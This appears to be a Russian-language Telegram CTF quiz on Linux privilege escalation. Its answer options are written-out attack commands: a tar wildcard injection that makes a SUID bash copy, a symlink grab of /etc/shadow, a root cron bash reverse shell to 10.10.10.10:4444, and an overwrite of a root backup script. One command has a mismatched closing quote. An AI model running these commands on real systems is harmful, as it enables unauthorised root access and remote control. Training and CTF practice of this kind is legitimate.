Сценарий: shell от www-data, sudo нет, SUID чистые.
Нашли cron:
* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *
Права:
drwxrwxrwx 2 www-data www-data /var/www/html
-rwxr-xr-x 1 root root /opt/scripts/backup.sh
Цель: root shell через wildcard injection
🔥
echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh»
👾
ln -s /etc/shadow shadow.txt
tar -czf exploit.tar.gz shadow.txt
❤️
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > /etc/cron.d/rev
🤩
chmod 777 /opt/scripts/backup.sh
echo "cp /bin/bash /tmp/r && chmod +s /tmp/r" > /opt/scripts/backup.sh
Подсказка:
#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩2❤1🔥1🥰1👾1